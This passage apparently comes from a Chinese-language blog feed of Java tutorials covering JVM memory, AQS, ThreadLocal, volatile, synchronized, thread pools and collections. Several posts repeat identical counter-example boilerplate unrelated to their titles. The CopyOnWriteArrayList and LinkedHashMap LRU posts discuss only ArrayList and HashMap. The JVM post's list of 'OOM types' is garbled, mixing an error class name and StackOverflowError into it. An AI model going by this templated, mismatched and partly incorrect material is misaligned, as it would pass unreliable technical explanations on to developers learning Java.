class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AQS 为什么是并发工具的基础</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="AQS-为什么是并发工具的基础"><a href="#AQS-为什么是并发工具的基础" class="headerlink" title="AQS 为什么是并发工具的基础"></a>AQS 为什么是并发工具的基础</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CompletableFuture 编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="CompletableFuture-编排异步任务"><a href="#CompletableFuture-编排异步任务" class="headerlink" title="CompletableFuture 编排异步任务"></a>CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="ThreadLocal-的使用和内存泄漏问题"><a href="#ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="ThreadLocal 的使用和内存泄漏问题"></a>ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>volatile 能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="volatile-能保证什么不能保证什么"><a href="#volatile-能保证什么不能保证什么" class="headerlink" title="volatile 能保证什么不能保证什么"></a>volatile 能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>synchronized 和 ReentrantLock 怎么选</title>
      <link href="//synchronized-he-reentrantlock-zen-me-xuan/"/>
      <url>//synchronized-he-reentrantlock-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="synchronized-和-ReentrantLock-怎么选"><a href="#synchronized-和-ReentrantLock-怎么选" class="headerlink" title="synchronized 和 ReentrantLock 怎么选"></a>synchronized 和 ReentrantLock 怎么选</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线程池参数如何设置才靠谱</title>
      <link href="//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/"/>
      <url>//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/</url>
      
        <content type="html"><![CDATA[<h1 id="线程池参数如何设置才靠谱"><a href="#线程池参数如何设置才靠谱" class="headerlink" title="线程池参数如何设置才靠谱"></a>线程池参数如何设置才靠谱</h1><p>线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CopyOnWriteArrayList 适合什么场景</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="CopyOnWriteArrayList-适合什么场景"><a href="#CopyOnWriteArrayList-适合什么场景" class="headerlink" title="CopyOnWriteArrayList 适合什么场景"></a>CopyOnWriteArrayList 适合什么场景</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LinkedHashMap 如何实现 LRU 缓存</title>
      <link href="//linkedhashmap-ru-he-shi-xian-lru-huan-cun/"/>
      <url>//linkedhashmap-ru-he-shi-xian-lru-huan-cun/</url>
      
        <content type="html"><![CDATA[<h1 id="LinkedHashMap-如何实现-LRU-缓存"><a href="#LinkedHashMap-如何实现-LRU-缓存" class="headerlink" title="LinkedHashMap 如何实现 LRU 缓存"></a>LinkedHashMap 如何实现 LRU 缓存</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ConcurrentHashMap 为什么适合并发场景</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="ConcurrentHashMap-为什么适合并发场景"><a href="#ConcurrentHashMap-为什么适合并发场景" class="headerlink" title="ConcurrentHashMap 为什么适合并发场景"></a>ConcurrentHashMap 为什么适合并发场景</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" 